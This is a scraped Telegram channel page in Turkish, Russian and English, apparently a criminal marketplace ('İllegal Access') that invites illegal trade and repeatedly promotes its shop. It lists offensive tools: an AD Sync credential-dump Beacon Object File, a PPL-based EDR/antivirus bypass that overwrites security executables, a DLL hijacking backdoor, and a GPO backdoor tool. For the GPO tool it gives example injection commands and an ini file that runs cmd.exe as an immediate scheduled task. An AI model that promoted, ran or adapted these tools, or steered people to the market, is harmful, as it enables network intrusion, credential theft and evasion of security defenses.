İllegal Access
Закрытый канал
İllegal ve güvenli bir şekilde ticaret yapabilirsiniz. Aracısız satış işlem yasak Yetkililer : @imroot1 , @proc3ssor Sohbet : @illegalAccess Market : illegalaccess.xyz
БольшеНет данных
Подписчики
-224 часа
-327 дней
-12730 дней
Архив постов
👺illegalAccess Market👺 STOKLAR HER ZAMAN GÜNCEL KAÇIRMAYIN, HEMEN ALIŞVERİŞE BAŞLAYIN İHTİYACINIZ OLAN HER ŞEY BURADA STOCK IS ALWAYS UP TO DATE DON'T MISS OUT, START SHOPPING NOW. EVERYTHING YOU NEED IS HERE https://illegalaccess.xyz/
ADSyncDump-BOF
It is a port of Dirk-Jan Mollema's adconnectdump.py / ADSyncDecrypt into a Beacon Object File (BOF) with zero dependencies.
👺illegalAccess Market👺 STOKLAR HER ZAMAN GÜNCEL KAÇIRMAYIN, HEMEN ALIŞVERİŞE BAŞLAYIN İHTİYACINIZ OLAN HER ŞEY BURADA https://illegalaccess.xyz/
🛡CreateProcessAsPPL
This is a utility for running processes with Protected Process Light (PPL) protection, enabling bypass of EDR/AV solution defensive mechanisms. It leverages legitimate Windows clipup.exe functionality from System32 to create protected processes that can overwrite antivirus service executable files.
🔗 Source:
https://github.com/2x7EQ13/CreateProcessAsPPL
#av #edr #bypass #ppl
💻 GroupPolicyBackdoor
Инструмент пост эксплуатации для различных манипуляций с GPO. Написан на 😰 Python
Впервые представлена на DEFCON 33
Примеры:
#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'
#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'
Пример ini:
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-srv1.corp.com"
}]
GPO creation, deletion, backup and injections Various injectable configurations, with, for each, customizable options (see list in the wiki) Possibility to remove injected configurations from the target GPO Possibility to revert the actions performed on client devices GPO links manipulation GPO enumeration / user privileges enumeration on GPOs💻 Repo 📔 Docs #gpo #redteam #windows ✈️ Whitehat Lab 💬Chat
👺illegalAccess Market👺 STOKLAR HER ZAMAN GÜNCEL KAÇIRMAYIN, HEMEN ALIŞVERİŞE BAŞLAYIN İHTİYACINIZ OLAN HER ŞEY BURADA ❗️ BİR ÜRÜN ALANA 8GB RAM VDS HEDİYE https://illegalaccess.xyz/
DllShimmer
Weaponize DLL hijacking easily. Backdoor any function in any DLL without disrupting normal process operation.
👺illegalAccess Market👺 STOKLAR HER ZAMAN GÜNCEL KAÇIRMAYIN, HEMEN ALIŞVERİŞE BAŞLAYIN İHTİYACINIZ OLAN HER ŞEY BURADA https://illegalaccess.xyz/
